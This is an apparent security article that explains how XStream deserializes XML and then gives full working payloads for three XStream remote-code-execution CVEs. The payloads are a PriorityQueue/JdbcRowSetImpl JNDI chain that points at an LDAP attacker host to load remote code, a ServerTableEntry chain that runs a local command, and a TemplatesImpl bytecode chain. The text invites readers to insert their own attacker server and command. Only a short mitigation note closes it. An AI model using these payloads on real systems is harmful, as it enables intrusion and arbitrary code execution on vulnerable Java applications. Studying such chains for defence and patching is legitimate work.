XStream is a popular Java library for serializing objects to XML and back. However, versions prior to 1.4.15 (and certain later patches) are vulnerable to deserialization attacks that can lead to remote code execution. This article explores the internals of XStream's deserialization mechanism and demonstrates how three critical CVEs (CVE-2021-21344, CVE-2021-21345, CVE-2021-39149) can be exploited.
Basic Setup and Deserialization Walkthrough
To begin, add the XStream dependency (version 1.4 used for demonstration):
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4</version>
</dependency>
A simple Java bean and its serialization/deserialization test:
// Person.java
public class Person implements java.io.Serializable {
private String name;
private int age;
private School school;
public Person() {}
public Person(String name, int age, School school) {
this.name = name;
this.age = age;
this.school = school;
}
// getters and setters omitted for brevity
private void readObject(java.io.ObjectInputStream in) throws Exception {
in.defaultReadObject();
System.out.println("Person deserialized");
}
}
// Main test
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
public class XstreamTest {
public static void main(String[] args) {
XStream xstream = new XStream(new DomDriver());
Person person = new Person("Alice", 25, new School("MIT", 42));
String xml = xstream.toXML(person);
System.out.println(xml);
Person deserialized = (Person) xstream.fromXML(xml);
}
}
When fromXML is called, XStream performs the following steps:
- Creates a
TreeUnmarshaller(an instance ofReferenceByXPathUnmarshaller). - Uses a
Mapperchain (decorator pattern) to resolve XML element names to Java classes. - Uses a
ConverterLookupto find the appropriate converter for each element. - The
DomDriverparses the entire XML into memory. - During unmarshalling, it reads the class attribute (or
resolves-to) to determine the target type. If absent, it falls back torealClasswhich usesDefaultMapper#realClassto load the class viaClass.forName(cached inrealClassCache). - Then
convertAnotheris called, and for classes implementingSerializable, theSerializableConverteris used. This converter eventually invokescallReadObject, which calls the customreadObjectmethod via reflection.
The call stack for a typical serializable bean:
readObject:85, Person
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
callReadObject:113, SerializationMethodInvoker
doUnmarshal:412, SerializableConverter
unmarshal:230, AbstractReflectionConverter
convert:72, TreeUnmarshaller
convert:65, AbstractReferenceUnmarshaller
convertAnother:66, TreeUnmarshaller
convertAnother:50, TreeUnmarshaller
start:134, TreeUnmarshaller
unmarshal:32, AbstractTreeMarshallingStrategy
unmarshal:1035, XStream
fromXML:895, XStream
CVE-2021-21344: JNDI Injection via PriorityQueue
Affected versions: ≤ 1.4.15
This vulnerability leverages a chain starting with java.util.PriorityQueue and its custom comparator. The XML payload deserializes a PriorityQueue that, during heapify (called in readObject), triggers comparisons. The comparator is crafted to eventually invoke JdbcRowSetImpl.getDatabaseMetaData(), which performs a JNDI lookup on a user-controlled dataSource attribute. This can be used to load a remote class via LDAP or RMI.
Example payload (modify the dataSource URL to your attacker server):
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://attacker.example.com:1389/evil</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>...</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>...<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
Chain summary: PriorityQueue.readObject → siftDownUsingComparator → DataTransferer$IndexOrderComparator.compare → ResponseContext.get → ... → JdbcRowSetImpl.connect → JNDI lookup.
CVE-2021-21345: Local Command Execution
Affected versions: ≤ 1.4.15
This is a variation of the previous CVE, replacing the JNDI target with a class that executes arbitrary commands locally. The jaxbType is changed to com.sun.corba.se.impl.activation.ServerTableEntry, and its verify method is invoked, which executes the activationCmd string as a system command.
Payload (adjust activationCmd to your command):
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
The ServerTableEntry.verify() method executes Runtime.exec(activationCmd), providing direct command execution without requiring a remote server.
CVE-2021-39149: Code Execution via TemplatesImpl
Affected versions: ≤ 1.4.17
This vulnerability uses a LinkedHashSet in combination with a dynamic proxy to invoke TemplatesImpl.getOutputProperties() from the XSLT libray. The attacker embeds a byte array containing a compiled Java class (e.g., a "Eval" class that runs Runtime.exec) into the TemplatesImpl object. When getOutputProperties() is called, the class is loaded and its newTransformer() triggers execution.
Payload (replace the byte arrays with your own compiled class):
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>...</byte-array>
<byte-array>...</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
This payload triggers getOutputProperties() on the proxy, which internally loads the malicious bytecode and executes it. The byte arrays should be generated using a tool like ysoserial or manually compiled evil classes.
Mitigation
Upgrade XStream to version 1.4.19 or later. If upgrading is not possible, implement a whitelist of allowed classes using XStream's setAcceptUnknownTypes or custom Mapper.